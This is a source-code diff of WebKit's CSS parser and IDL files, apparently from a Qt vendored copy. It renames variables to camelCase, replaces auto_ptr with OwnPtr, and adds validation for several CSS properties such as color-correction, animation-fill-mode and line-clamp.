@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=4e8d9d26-65ca-483f-a6d4-be1a25905056,
-        ImplementationUUID=d8e40379-8b0e-4dce-b1f8-636dcf055a5f
-    ] CSSPageRule : CSSRule {
+    interface CSSPageRule : CSSRule {
 
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString selectorText
                      setter raises(DOMException);
diff --git a/src/3rdparty/webkit/WebCore/css/CSSParser.cpp b/src/3rdparty/webkit/WebCore/css/CSSParser.cpp
index 6024a5b..214fc51 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSParser.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSParser.cpp
@@ -139,9 +139,15 @@ CSSParser::CSSParser(bool strictParsing)
     , m_currentShorthand(0)
     , m_implicitShorthand(false)
     , m_hasFontFaceOnlyValues(false)
+    , m_hadSyntacticallyValidCSSRule(false)
     , m_defaultNamespace(starAtom)
     , m_data(0)
     , yy_start(1)
+    , m_line(0)
+    , m_lastSelectorLine(0)
+    , m_allowImportRules(true)
+    , m_allowVariablesRules(true)
+    , m_allowNamespaceDeclarations(true)
     , m_floatingMediaQuery(0)
     , m_floatingMediaQueryExp(0)
     , m_floatingMediaQueryExpList(0)
@@ -229,6 +235,7 @@ void CSSParser::parseSheet(CSSStyleSheet* sheet, const String& string)
 PassRefPtr<CSSRule> CSSParser::parseRule(CSSStyleSheet* sheet, const String& string)
 {
     m_styleSheet = sheet;
+    m_allowNamespaceDeclarations = false;
     setupParser("@-webkit-rule{", string, "} ");
     cssyyparse(this);
     return m_rule.release();
@@ -364,7 +371,7 @@ bool CSSParser::parseMediaQuery(MediaList* queries, const String& string)
 
 void CSSParser::addProperty(int propId, PassRefPtr<CSSValue> value, bool important)
 {
-    auto_ptr<CSSProperty> prop(new CSSProperty(propId, value, important, m_currentShorthand, m_implicitShorthand));
+    OwnPtr<CSSProperty> prop(new CSSProperty(propId, value, important, m_currentShorthand, m_implicitShorthand));
     if (m_numParsedProperties >= m_maxParsedProperties) {
         m_maxParsedProperties += 32;
         if (m_maxParsedProperties > UINT_MAX / sizeof(CSSProperty*))
@@ -566,7 +573,7 @@ bool CSSParser::parseValue(int propId, bool important)
         return true;
     }
 
-    bool valid_primitive = false;
+    bool validPrimitive = false;
     RefPtr<CSSValue> parsedValue;
 
     switch (static_cast<CSSPropertyID>(propId)) {
@@ -582,13 +589,13 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertySize:                 // <length>{1,2} | auto | portrait | landscape | inherit
     case CSSPropertyQuotes:               // [<string> <string>]+ | none | inherit
         if (id)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyUnicodeBidi:         // normal | embed | bidi-override | inherit
         if (id == CSSValueNormal ||
              id == CSSValueEmbed ||
              id == CSSValueBidiOverride)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyPosition:             // static | relative | absolute | fixed | inherit
@@ -596,7 +603,7 @@ bool CSSParser::parseValue(int propId, bool important)
              id == CSSValueRelative ||
              id == CSSValueAbsolute ||
              id == CSSValueFixed)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyPageBreakAfter:     // auto | always | avoid | left | right | inherit
@@ -608,19 +615,19 @@ bool CSSParser::parseValue(int propId, bool important)
              id == CSSValueAvoid ||
              id == CSSValueLeft ||
              id == CSSValueRight)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyPageBreakInside:    // avoid | auto | inherit
     case CSSPropertyWebkitColumnBreakInside:
         if (id == CSSValueAuto || id == CSSValueAvoid)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyEmptyCells:          // show | hide | inherit
         if (id == CSSValueShow ||
              id == CSSValueHide)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyContent:              // [ <string> | <uri> | <counter> | attr(X) | open-quote |
@@ -633,12 +640,12 @@ bool CSSParser::parseValue(int propId, bool important)
             id == CSSValuePreWrap ||
             id == CSSValuePreLine ||
             id == CSSValueNowrap)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyClip:                 // <shape> | auto | inherit
         if (id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         else if (value->unit == CSSParserValue::Function)
             return parseShape(propId, important);
         break;
@@ -649,17 +656,17 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyCaptionSide:         // top | bottom | left | right | inherit
         if (id == CSSValueLeft || id == CSSValueRight ||
             id == CSSValueTop || id == CSSValueBottom)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyBorderCollapse:      // collapse | separate | inherit
         if (id == CSSValueCollapse || id == CSSValueSeparate)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyVisibility:           // visible | hidden | collapse | inherit
         if (id == CSSValueVisible || id == CSSValueHidden || id == CSSValueCollapse)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyOverflow: {
@@ -674,21 +681,19 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyOverflowY:           // visible | hidden | scroll | auto | marquee | overlay | inherit
         if (id == CSSValueVisible || id == CSSValueHidden || id == CSSValueScroll || id == CSSValueAuto ||
             id == CSSValueOverlay || id == CSSValueWebkitMarquee)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyListStylePosition:  // inside | outside | inherit
         if (id == CSSValueInside || id == CSSValueOutside)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyListStyleType:
-        // disc | circle | square | decimal | decimal-leading-zero | lower-roman |
-        // upper-roman | lower-greek | lower-alpha | lower-latin | upper-alpha |
-        // upper-latin | hebrew | armenian | georgian | cjk-ideographic | hiragana |
-        // katakana | hiragana-iroha | katakana-iroha | none | inherit
+        // See section CSS_PROP_LIST_STYLE_TYPE of file CSSValueKeywords.in
+        // for the list of supported list-style-types.
         if ((id >= CSSValueDisc && id <= CSSValueKatakanaIroha) || id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyDisplay:
@@ -700,41 +705,41 @@ bool CSSParser::parseValue(int propId, bool important)
 #else
         if ((id >= CSSValueInline && id <= CSSValueWebkitInlineBox) || id == CSSValueNone)
 #endif
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyDirection:            // ltr | rtl | inherit
         if (id == CSSValueLtr || id == CSSValueRtl)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyTextTransform:       // capitalize | uppercase | lowercase | none | inherit
         if ((id >= CSSValueCapitalize && id <= CSSValueLowercase) || id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyFloat:                // left | right | none | inherit + center for buggy CSS
         if (id == CSSValueLeft || id == CSSValueRight ||
              id == CSSValueNone || id == CSSValueCenter)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyClear:                // none | left | right | both | inherit
         if (id == CSSValueNone || id == CSSValueLeft ||
              id == CSSValueRight|| id == CSSValueBoth)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyTextAlign:
         // left | right | center | justify | webkit_left | webkit_right | webkit_center | start | end | <string> | inherit
         if ((id >= CSSValueWebkitAuto && id <= CSSValueWebkitCenter) || id == CSSValueStart || id == CSSValueEnd ||
              value->unit == CSSPrimitiveValue::CSS_STRING)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyOutlineStyle:        // (<border-style> except hidden) | auto | inherit
         if (id == CSSValueAuto || id == CSSValueNone || (id >= CSSValueInset && id <= CSSValueDouble))
-            valid_primitive = true;
+            validPrimitive = true;
         break; 
         
     case CSSPropertyBorderTopStyle:     //// <border-style> | inherit
@@ -743,7 +748,7 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyBorderLeftStyle:
     case CSSPropertyWebkitColumnRuleStyle:
         if (id >= CSSValueNone && id <= CSSValueDouble)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyFontWeight:  // normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit
@@ -770,13 +775,13 @@ bool CSSParser::parseValue(int propId, bool important)
     }
     case CSSPropertyWebkitBorderHorizontalSpacing:
     case CSSPropertyWebkitBorderVerticalSpacing:
-        valid_primitive = validUnit(value, FLength|FNonNeg, m_strict);
+        validPrimitive = validUnit(value, FLength | FNonNeg, m_strict);
         break;
     case CSSPropertyOutlineColor:        // <color> | invert | inherit
         // Outline color has "invert" as additional keyword.
         // Also, we want to allow the special focus color even in strict parsing mode.
         if (propId == CSSPropertyOutlineColor && (id == CSSValueInvert || id == CSSValueWebkitFocusRingColor)) {
-            valid_primitive = true;
+            validPrimitive = true;
             break;
         }
         /* nobreak */
@@ -793,13 +798,13 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitTextFillColor:
     case CSSPropertyWebkitTextStrokeColor:
         if (id == CSSValueWebkitText)
-            valid_primitive = true; // Always allow this, even when strict parsing is on,
+            validPrimitive = true; // Always allow this, even when strict parsing is on,
                                     // since we use this in our UA sheets.
         else if (id == CSSValueCurrentcolor)
-            valid_primitive = true;
+            validPrimitive = true;
         else if ((id >= CSSValueAqua && id <= CSSValueWindowtext) || id == CSSValueMenu ||
              (id >= CSSValueWebkitFocusRingColor && id < CSSValueWebkitText && !m_strict)) {
-            valid_primitive = true;
+            validPrimitive = true;
         } else {
             parsedValue = parseColor();
             if (parsedValue)
@@ -856,9 +861,9 @@ bool CSSParser::parseValue(int propId, bool important)
         id = value->id;
         if (!m_strict && value->id == CSSValueHand) { // MSIE 5 compatibility :/
             id = CSSValuePointer;
-            valid_primitive = true;
+            validPrimitive = true;
         } else if ((value->id >= CSSValueAuto && value->id <= CSSValueWebkitGrabbing) || value->id == CSSValueCopy || value->id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     }
 
@@ -936,27 +941,27 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyBorderLeftWidth:
     case CSSPropertyWebkitColumnRuleWidth:
         if (id == CSSValueThin || id == CSSValueMedium || id == CSSValueThick)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FLength, m_strict);
+            validPrimitive = validUnit(value, FLength | FNonNeg, m_strict);
         break;
 
     case CSSPropertyLetterSpacing:       // normal | <length> | inherit
     case CSSPropertyWordSpacing:         // normal | <length> | inherit
         if (id == CSSValueNormal)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FLength, m_strict);
+            validPrimitive = validUnit(value, FLength, m_strict);
         break;
 
     case CSSPropertyWordBreak:          // normal | break-all | break-word (this is a custom extension)
         if (id == CSSValueNormal || id == CSSValueBreakAll || id == CSSValueBreakWord)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWordWrap:           // normal | break-word
         if (id == CSSValueNormal || id == CSSValueBreakWord)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyTextIndent:          // <length> | <percentage> | inherit
@@ -965,30 +970,30 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyPaddingBottom:       //   <length> | <percentage>
     case CSSPropertyPaddingLeft:         ////
     case CSSPropertyWebkitPaddingStart:
-        valid_primitive = (!id && validUnit(value, FLength|FPercent, m_strict));
+        validPrimitive = (!id && validUnit(value, FLength | FPercent, m_strict));
         break;
 
     case CSSPropertyMaxHeight:           // <length> | <percentage> | none | inherit
     case CSSPropertyMaxWidth:            // <length> | <percentage> | none | inherit
         if (id == CSSValueNone || id == CSSValueIntrinsic || id == CSSValueMinIntrinsic) {
-            valid_primitive = true;
+            validPrimitive = true;
             break;
         }
         /* nobreak */
     case CSSPropertyMinHeight:           // <length> | <percentage> | inherit
     case CSSPropertyMinWidth:            // <length> | <percentage> | inherit
         if (id == CSSValueIntrinsic || id == CSSValueMinIntrinsic)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (!id && validUnit(value, FLength|FPercent|FNonNeg, m_strict));
+            validPrimitive = (!id && validUnit(value, FLength | FPercent | FNonNeg, m_strict));
         break;
 
     case CSSPropertyFontSize:
         // <absolute-size> | <relative-size> | <length> | <percentage> | inherit
         if (id >= CSSValueXxSmall && id <= CSSValueLarger)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (validUnit(value, FLength|FPercent|FNonNeg, m_strict));
+            validPrimitive = (validUnit(value, FLength | FPercent | FNonNeg, m_strict));
         break;
 
     case CSSPropertyFontStyle:           // normal | italic | oblique | inherit
@@ -1002,18 +1007,18 @@ bool CSSParser::parseValue(int propId, bool important)
         // <percentage> | <length> | inherit
 
         if (id >= CSSValueBaseline && id <= CSSValueWebkitBaselineMiddle)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (!id && validUnit(value, FLength|FPercent, m_strict));
+            validPrimitive = (!id && validUnit(value, FLength | FPercent, m_strict));
         break;
 
     case CSSPropertyHeight:               // <length> | <percentage> | auto | inherit
     case CSSPropertyWidth:                // <length> | <percentage> | auto | inherit
         if (id == CSSValueAuto || id == CSSValueIntrinsic || id == CSSValueMinIntrinsic)
-            valid_primitive = true;
+            validPrimitive = true;
         else
             // ### handle multilength case where we allow relative units
-            valid_primitive = (!id && validUnit(value, FLength|FPercent|FNonNeg, m_strict));
+            validPrimitive = (!id && validUnit(value, FLength | FPercent | FNonNeg, m_strict));
         break;
 
     case CSSPropertyBottom:               // <length> | <percentage> | auto | inherit
@@ -1026,38 +1031,38 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyMarginLeft:          ////
     case CSSPropertyWebkitMarginStart:
         if (id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (!id && validUnit(value, FLength|FPercent, m_strict));
+            validPrimitive = (!id && validUnit(value, FLength | FPercent, m_strict));
         break;
 
     case CSSPropertyZIndex:              // auto | <integer> | inherit
         if (id == CSSValueAuto) {
-            valid_primitive = true;
+            validPrimitive = true;
             break;
         }
         /* nobreak */
     case CSSPropertyOrphans:              // <integer> | inherit
     case CSSPropertyWidows:               // <integer> | inherit
         // ### not supported later on
-        valid_primitive = (!id && validUnit(value, FInteger, false));
+        validPrimitive = (!id && validUnit(value, FInteger, false));
         break;
 
     case CSSPropertyLineHeight:          // normal | <number> | <length> | <percentage> | inherit
         if (id == CSSValueNormal)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (!id && validUnit(value, FNumber|FLength|FPercent|FNonNeg, m_strict));
+            validPrimitive = (!id && validUnit(value, FNumber | FLength | FPercent | FNonNeg, m_strict));
         break;
     case CSSPropertyCounterIncrement:    // [ <identifier> <integer>? ]+ | none | inherit
         if (id != CSSValueNone)
             return parseCounter(propId, 1, important);
-        valid_primitive = true;
+        validPrimitive = true;
         break;
      case CSSPropertyCounterReset:        // [ <identifier> <integer>? ]+ | none | inherit
         if (id != CSSValueNone)
             return parseCounter(propId, 0, important);
-        valid_primitive = true;
+        validPrimitive = true;
         break;
     case CSSPropertyFontFamily:
         // [[ <family-name> | <generic-family> ],]* [<family-name> | <generic-family>] | inherit
@@ -1070,11 +1075,11 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitTextDecorationsInEffect:
         // none | [ underline || overline || line-through || blink ] | inherit
         if (id == CSSValueNone) {
-            valid_primitive = true;
+            validPrimitive = true;
         } else {
             RefPtr<CSSValueList> list = CSSValueList::createSpaceSeparated();
-            bool is_valid = true;
-            while (is_valid && value) {
+            bool isValid = true;
+            while (isValid && value) {
                 switch (value->id) {
                 case CSSValueBlink:
                     break;
@@ -1084,11 +1089,11 @@ bool CSSParser::parseValue(int propId, bool important)
                     list->append(CSSPrimitiveValue::createIdentifier(value->id));
                     break;
                 default:
-                    is_valid = false;
+                    isValid = false;
                 }
                 value = m_valueList->next();
             }
-            if (list->length() && is_valid) {
+            if (list->length() && isValid) {
                 parsedValue = list.release();
                 m_valueList->next();
             }
@@ -1097,14 +1102,14 @@ bool CSSParser::parseValue(int propId, bool important)
 
     case CSSPropertyZoom:          // normal | reset | document | <number> | <percentage> | inherit
         if (id == CSSValueNormal || id == CSSValueReset || id == CSSValueDocument)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = (!id && validUnit(value, FNumber | FPercent | FNonNeg, true));
+            validPrimitive = (!id && validUnit(value, FNumber | FPercent | FNonNeg, true));
         break;
         
     case CSSPropertyTableLayout:         // auto | fixed | inherit
         if (id == CSSValueAuto || id == CSSValueFixed)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertySrc:  // Only used within @font-face, so cannot use inherit | initial or be !important.  This is a list of urls or local references.
@@ -1116,13 +1121,13 @@ bool CSSParser::parseValue(int propId, bool important)
     /* CSS3 properties */
     case CSSPropertyWebkitAppearance:
         if ((id >= CSSValueCheckbox && id <= CSSValueTextarea) || id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWebkitBinding:
 #if ENABLE(XBL)
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else {
             RefPtr<CSSValueList> values = CSSValueList::createCommaSeparated();
             CSSParserValue* val;
@@ -1156,7 +1161,7 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitBorderImage:
     case CSSPropertyWebkitMaskBoxImage:
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else {
             RefPtr<CSSValue> result;
             if (parseBorderImage(propId, important, result)) {
@@ -1171,15 +1176,15 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyBorderBottomRightRadius: {
         if (num != 1 && num != 2)
             return false;
-        valid_primitive = validUnit(value, FLength, m_strict);
-        if (!valid_primitive)
+        validPrimitive = validUnit(value, FLength, m_strict);
+        if (!validPrimitive)
             return false;
         RefPtr<CSSPrimitiveValue> parsedValue1 = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
         RefPtr<CSSPrimitiveValue> parsedValue2;
         if (num == 2) {
             value = m_valueList->next();
-            valid_primitive = validUnit(value, FLength, m_strict);
-            if (!valid_primitive)
+            validPrimitive = validUnit(value, FLength, m_strict);
+            if (!validPrimitive)
                 return false;
             parsedValue2 = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
         } else
@@ -1194,56 +1199,59 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitBorderRadius:
         return parseBorderRadius(propId, important);
     case CSSPropertyOutlineOffset:
-        valid_primitive = validUnit(value, FLength, m_strict);
+        validPrimitive = validUnit(value, FLength, m_strict);
         break;
     case CSSPropertyTextShadow: // CSS2 property, dropped in CSS2.1, back in CSS3, so treat as CSS3
     case CSSPropertyWebkitBoxShadow:
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else
             return parseShadow(propId, important);
         break;
     case CSSPropertyWebkitBoxReflect:
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else
             return parseReflect(propId, important);
         break;
     case CSSPropertyOpacity:
-        valid_primitive = validUnit(value, FNumber, m_strict);
+        validPrimitive = validUnit(value, FNumber, m_strict);
         break;
     case CSSPropertyWebkitBoxAlign:
         if (id == CSSValueStretch || id == CSSValueStart || id == CSSValueEnd ||
             id == CSSValueCenter || id == CSSValueBaseline)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBoxDirection:
         if (id == CSSValueNormal || id == CSSValueReverse)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBoxLines:
         if (id == CSSValueSingle || id == CSSValueMultiple)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBoxOrient:
         if (id == CSSValueHorizontal || id == CSSValueVertical ||
             id == CSSValueInlineAxis || id == CSSValueBlockAxis)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBoxPack:
         if (id == CSSValueStart || id == CSSValueEnd ||
             id == CSSValueCenter || id == CSSValueJustify)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBoxFlex:
-        valid_primitive = validUnit(value, FNumber, m_strict);
+        validPrimitive = validUnit(value, FNumber, m_strict);
         break;
     case CSSPropertyWebkitBoxFlexGroup:
     case CSSPropertyWebkitBoxOrdinalGroup:
-        valid_primitive = validUnit(value, FInteger|FNonNeg, true);
+        validPrimitive = validUnit(value, FInteger | FNonNeg, true);
         break;
     case CSSPropertyWebkitBoxSizing:
-        valid_primitive = id == CSSValueBorderBox || id == CSSValueContentBox;
+        validPrimitive = id == CSSValueBorderBox || id == CSSValueContentBox;
+        break;
+    case CSSPropertyWebkitColorCorrection:
+        validPrimitive = id == CSSValueSrgb || id == CSSValueDefault;
         break;
     case CSSPropertyWebkitMarquee: {
         const int properties[5] = { CSSPropertyWebkitMarqueeDirection, CSSPropertyWebkitMarqueeIncrement,
@@ -1255,71 +1263,71 @@ bool CSSParser::parseValue(int propId, bool important)
         if (id == CSSValueForwards || id == CSSValueBackwards || id == CSSValueAhead ||
             id == CSSValueReverse || id == CSSValueLeft || id == CSSValueRight || id == CSSValueDown ||
             id == CSSValueUp || id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitMarqueeIncrement:
         if (id == CSSValueSmall || id == CSSValueLarge || id == CSSValueMedium)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FLength|FPercent, m_strict);
+            validPrimitive = validUnit(value, FLength | FPercent, m_strict);
         break;
     case CSSPropertyWebkitMarqueeStyle:
         if (id == CSSValueNone || id == CSSValueSlide || id == CSSValueScroll || id == CSSValueAlternate)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitMarqueeRepetition:
         if (id == CSSValueInfinite)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FInteger|FNonNeg, m_strict);
+            validPrimitive = validUnit(value, FInteger | FNonNeg, m_strict);
         break;
     case CSSPropertyWebkitMarqueeSpeed:
         if (id == CSSValueNormal || id == CSSValueSlow || id == CSSValueFast)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FTime|FInteger|FNonNeg, m_strict);
+            validPrimitive = validUnit(value, FTime | FInteger | FNonNeg, m_strict);
         break;
 #if ENABLE(WCSS)
     case CSSPropertyWapMarqueeDir:
         if (id == CSSValueLtr || id == CSSValueRtl)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWapMarqueeStyle:
         if (id == CSSValueNone || id == CSSValueSlide || id == CSSValueScroll || id == CSSValueAlternate)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWapMarqueeLoop:
         if (id == CSSValueInfinite)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FInteger | FNonNeg, m_strict);
+            validPrimitive = validUnit(value, FInteger | FNonNeg, m_strict);
         break;
     case CSSPropertyWapMarqueeSpeed:
         if (id == CSSValueNormal || id == CSSValueSlow || id == CSSValueFast)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FTime | FInteger | FNonNeg, m_strict);
+            validPrimitive = validUnit(value, FTime | FInteger | FNonNeg, m_strict);
         break;
 #endif
     case CSSPropertyWebkitUserDrag: // auto | none | element
         if (id == CSSValueAuto || id == CSSValueNone || id == CSSValueElement)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitUserModify: // read-only | read-write
         if (id == CSSValueReadOnly || id == CSSValueReadWrite || id == CSSValueReadWritePlaintextOnly)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitUserSelect: // auto | none | text
         if (id == CSSValueAuto || id == CSSValueNone || id == CSSValueText)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyTextOverflow: // clip | ellipsis
         if (id == CSSValueClip || id == CSSValueEllipsis)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitTransform:
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else {
             PassRefPtr<CSSValue> val = parseTransform();
             if (val) {
@@ -1349,18 +1357,18 @@ bool CSSParser::parseValue(int propId, bool important)
     }
     case CSSPropertyWebkitTransformStyle:
         if (value->id == CSSValueFlat || value->id == CSSValuePreserve3d)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitBackfaceVisibility:
         if (value->id == CSSValueVisible || value->id == CSSValueHidden)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitPerspective:
         if (id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         else {
             // Accepting valueless numbers is a quirk of the -webkit prefixed version of the property.
-            if (validUnit(value, FNumber|FLength|FNonNeg, m_strict)) {
+            if (validUnit(value, FNumber | FLength | FNonNeg, m_strict)) {
                 RefPtr<CSSValue> val = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
                 if (val) {
                     addProperty(propId, val.release(), important);
@@ -1387,6 +1395,7 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitAnimationDelay:
     case CSSPropertyWebkitAnimationDirection:
     case CSSPropertyWebkitAnimationDuration:
+    case CSSPropertyWebkitAnimationFillMode:
     case CSSPropertyWebkitAnimationName:
     case CSSPropertyWebkitAnimationPlayState:
     case CSSPropertyWebkitAnimationIterationCount:
@@ -1424,13 +1433,13 @@ bool CSSParser::parseValue(int propId, bool important)
     case CSSPropertyWebkitMarginTopCollapse:
     case CSSPropertyWebkitMarginBottomCollapse:
         if (id == CSSValueCollapse || id == CSSValueSeparate || id == CSSValueDiscard)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyTextLineThroughMode:
     case CSSPropertyTextOverlineMode:
     case CSSPropertyTextUnderlineMode:
         if (id == CSSValueContinuous || id == CSSValueSkipWhiteSpace)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyTextLineThroughStyle:
     case CSSPropertyTextOverlineStyle:
@@ -1438,50 +1447,50 @@ bool CSSParser::parseValue(int propId, bool important)
         if (id == CSSValueNone || id == CSSValueSolid || id == CSSValueDouble ||
             id == CSSValueDashed || id == CSSValueDotDash || id == CSSValueDotDotDash ||
             id == CSSValueWave)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyTextRendering: // auto | optimizeSpeed | optimizeLegibility | geometricPrecision
         if (id == CSSValueAuto || id == CSSValueOptimizespeed || id == CSSValueOptimizelegibility
             || id == CSSValueGeometricprecision)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyTextLineThroughWidth:
     case CSSPropertyTextOverlineWidth:
     case CSSPropertyTextUnderlineWidth:
         if (id == CSSValueAuto || id == CSSValueNormal || id == CSSValueThin ||
             id == CSSValueMedium || id == CSSValueThick)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = !id && validUnit(value, FNumber|FLength|FPercent, m_strict);
+            validPrimitive = !id && validUnit(value, FNumber | FLength | FPercent, m_strict);
         break;
     case CSSPropertyResize: // none | both | horizontal | vertical | auto
         if (id == CSSValueNone || id == CSSValueBoth || id == CSSValueHorizontal || id == CSSValueVertical || id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitColumnCount:
         if (id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = !id && validUnit(value, FInteger | FNonNeg, false);
+            validPrimitive = !id && validUnit(value, FInteger | FNonNeg, false);
         break;
     case CSSPropertyWebkitColumnGap:         // normal | <length>
         if (id == CSSValueNormal)
-            valid_primitive = true;
+            validPrimitive = true;
         else
-            valid_primitive = validUnit(value, FLength | FNonNeg, m_strict);
+            validPrimitive = validUnit(value, FLength | FNonNeg, m_strict);
         break;
     case CSSPropertyWebkitColumnWidth:         // auto | <length>
         if (id == CSSValueAuto)
-            valid_primitive = true;
+            validPrimitive = true;
         else // Always parse this property in strict mode, since it would be ambiguous otherwise when used in the 'columns' shorthand property.
-            valid_primitive = validUnit(value, FLength, true);
+            validPrimitive = validUnit(value, FLength, true);
         break;
     case CSSPropertyPointerEvents:
         // none | visiblePainted | visibleFill | visibleStroke | visible |
         // painted | fill | stroke | auto | all | inherit
         if (id == CSSValueVisible || id == CSSValueNone || id == CSSValueAll || id == CSSValueAuto ||
             (id >= CSSValueVisiblepainted && id <= CSSValueStroke))
-            valid_primitive = true;
+            validPrimitive = true;
         break;
             
     // End of CSS3 properties
@@ -1489,56 +1498,58 @@ bool CSSParser::parseValue(int propId, bool important)
     // Apple specific properties.  These will never be standardized and are purely to
     // support custom WebKit-based Apple applications.
     case CSSPropertyWebkitLineClamp:
-        valid_primitive = (!id && validUnit(value, FPercent, false));
+        // When specifying number of lines, don't allow 0 as a valid value
+        // When specifying either type of unit, require non-negative integers
+        validPrimitive = (!id && (value->unit == CSSPrimitiveValue::CSS_PERCENTAGE || value->fValue) && validUnit(value, FInteger | FPercent | FNonNeg, false));
         break;
     case CSSPropertyWebkitTextSizeAdjust:
